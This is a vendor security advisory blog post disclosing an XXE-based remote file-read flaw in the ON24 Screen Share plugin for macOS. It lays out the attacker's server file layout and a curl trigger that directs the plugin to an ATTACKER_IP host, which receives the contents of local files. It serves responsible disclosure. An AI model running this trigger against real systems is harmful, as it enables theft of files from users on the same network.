LevelBlue Completes Acquisition of Cybereason. Learn more

LevelBlue Completes Acquisition of Cybereason. Learn more

Services
Cyber Advisory
Managed Cloud Security
Data Security
Manage Detection & Response
Email Security
Managed Network Infrastructure Security
Exposure Management
Security Operations Platforms
Incident Readiness & Response
SpiderLabs Threat Intelligence
Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Operational Technology
End-to-end OT security
Microsoft Security
Unlock the full power of Microsoft Security
Securing the IoT Landscape
Test, monitor and secure network objects
Why LevelBlue
About Us
Awards and Accolades
LevelBlue SpiderLabs
LevelBlue Security Operations Platforms
Security Colony
Partners
Microsoft
Unlock the full power of Microsoft Security
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings

Vulnerability in ON24 Plugin for macOS Shares More Than Just Your Screen

ON24 presenter mode requires you to install a plugin that is used to share your screen. For the macOS app (DesktopScreenShare.app), the plugin is started automatically once a user logs on. If you ever presented using ON24 platform, you’ll have an entry like this on a macOS system:

P1

Once the plugin starts it launches a simple web server on port 5012. What is more important, via a series of requests, malicious users on the same network can fetch files from the computer running the plugin without any authorization.

Let’s take a deeper look at how this happens. We will discuss ON24 Screen Share plugin version 1. An attacker will have access to the HTTP server created by the Screen Share plugin on TCP port 5012 as long as he or she is on the same local area network. Here is a typical output of an nmap scan from a remote machine:

P2

Next, the attacker must prepare another HTTP server that will handle configuration file requests originating from the Screen Share plugin. A very simplistic approach would be to use Python code to do that (refer to our POC on GitHub).

Attacker-provided HTTP server must serve files from the following directory structure:

files/
    ext2.dtd
    log
    eventManager/
        EventLogServlet
    view/
        screenshare/
            prod-north_america-ingress.xml

In red are actual files, in black are directories. Here is the contents of DTD and xml files:

ext2.dtd


">
%wrapper2;

prod-north_america-ingress.xml



&send;

ATTACKER_IP:PORT combination must be replaced with actual IP and PORT values of the attacker-provided HTTP server.

In the above directory structure, log and EventLogServlet are empty files.

The attack itself is triggered by a simple HTTP request like below (again, replace ATTACKER_IP:PORT with the attacker-provided HTTP server information first):

curl -v "http://TARGET_IP:5012/start?param1=&hostname=ATTACKER_IP:PORT&eventId=1&presenter=1&presenterName=MR&_="

The above request will reach out to the built-in HTTP server of the Screen Share plugin, which in turn will try to collect its configuration from hostname value which will go to the attacker-controlled HTTP server. There, a simple XML External Entity vulnerability (XXE) will be exploited to send back the contents of files readable by the currently logged-on user. One caveat is that the path of the file to be read must be known beforehand.

If the HTTP server hosted by the attacker is not reachable, a message like that below will pop up on the victim’s macOS:

P3

If the HTTP server is reachable, the exploit will work:

P4

This proves that the file in question (/etc/ntp.conf) is read and its contents are sent via URL request to the attacker-controller server.

As a part of our Responsible Disclosure policy, Trustwave has reached out to the ON24 to ensure that a patch was released prior to public disclosure. A patch was released but we have been unable to verify it.

References
TWSL2021-010 : Remote File Access Vulnerability in ON24 ScreenShare Plugin for macOS

ABOUT LEVELBLUE

LevelBlue is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo